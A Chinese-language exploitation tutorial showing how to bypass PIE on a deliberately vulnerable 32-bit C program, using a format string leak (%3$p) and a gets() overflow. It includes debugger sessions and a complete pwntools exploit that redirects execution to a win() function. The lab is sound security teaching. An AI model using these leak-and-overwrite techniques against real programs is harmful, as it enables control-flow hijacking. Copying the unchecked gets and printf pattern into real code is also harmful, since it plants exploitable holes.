- 发布于
通过格式化字符串绕过 PIE
- 作者
- Name
- CuB3y0nd
- GitHub
- @CuB3y0nd
Table of Contents
0x01 源码
pie-fmtstr.zip
Binary
source.c
#include <stdio.h>
void vuln() {
char buffer[20];
printf("What's your name?\n");
gets(buffer);
printf("Nice to meet you ");
printf(buffer);
printf("\n");
puts("What's your message?");
gets(buffer);
}
int main() {
vuln();
return 0;
}
void win() {
puts("PIE bypassed! Great job :D");
}
与上篇文章不同的是,这次我们没有得到任何一个函数的绝对地址,我们必须使用其它手段来泄漏它。
0x02 分析
$ ./vuln-32
What's your name?
%p
Nice to meet you 0xf7f3e000
What's your message?
hello
测试发现可以使用格式化字符串来泄漏地址。
0x03 利用
1x01 基础信息
和上次一样,我们首先设置好一些基本内容。
from pwn import *
context.log_level = 'debug'
elf = context.binary = ELF('./vuln-32')
p = process()
1x02 泄漏 PIE
现在我们只需要泄漏地址就好了,我们可以在 pwndbg
里面尝试一些不同的偏移量来测试。
$ pwndbg vuln-32
What's your name?
%p %p %p %p %p
Nice to meet you 0xf7fc6000 (nil) 0x565561d5 (nil) (nil)
What's your message?
hello
第 3 个看起来像一个函数的地址,让我们检查一下第 3 个泄漏值和基地址之间的差异。在格式化字符串泄漏的值之后的某个位置设置一个断点(在哪里并不重要)。
你也可以直接把断点下在泄漏的这个值上面,设这个断点只是为了能够让我们调试程序。
$ pwndbg vuln-32
$ r
What's your name?
%3$p
Nice to meet you 0x565561d5
[...]
$ b *0x565561d5
Breakpoint 1 at 0x565561d5
$ r
[...]
$ vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x56555000 0x56556000 r--p 1000 0 vuln-32
0x56556000 0x56557000 r-xp 1000 1000 vuln-32
[...]
我们可以看到基地址是 0x56555000
,泄漏的值是 0x565561d5
。因此,从泄漏的地址中减去 0x11d5
就会得到二进制文件的基地址。
Tip
可以通过 vmmap
指令来查看程序运行的基地址。
对于没有开启 PIE 的程序,直接用 checksec
也可以看到基地址。
p.recvuntil('name?\n')
p.sendline('%3$p')
p.recvuntil('you ')
elf_leak = int(p.recvline(), 16)
elf.address = elf_leak - 0x11d5
log.success(f'PIE base: {hex(elf.address)}')
现在,我们只需要发送 payload 就可以了。
payload = b'A' * 32
payload += p32(elf.sym['win'])
p.recvuntil('message?\n')
p.sendline(payload)
p.interactive()
1x03 最终 Exploit
exp.py
from pwn import *
context.log_level = 'debug'
elf = context.binary = ELF('./vuln-32')
p = process()
p.recvuntil('name?\n')
p.sendline('%3$p')
p.recvuntil('you ')
elf_leak = int(p.recvline(), 16)
elf.address = elf_leak - 0x11d5
log.success(f'PIE base: {hex(elf.address)}')
payload = b'A' * 32
payload += p32(elf.sym['win'])
p.recvuntil('message?\n')
p.sendline(payload)
p.interactive()
0x04 64-bit
同样的思路,只是 64-bit。试试看 :)
pie-fmtstr-64.zip
Binary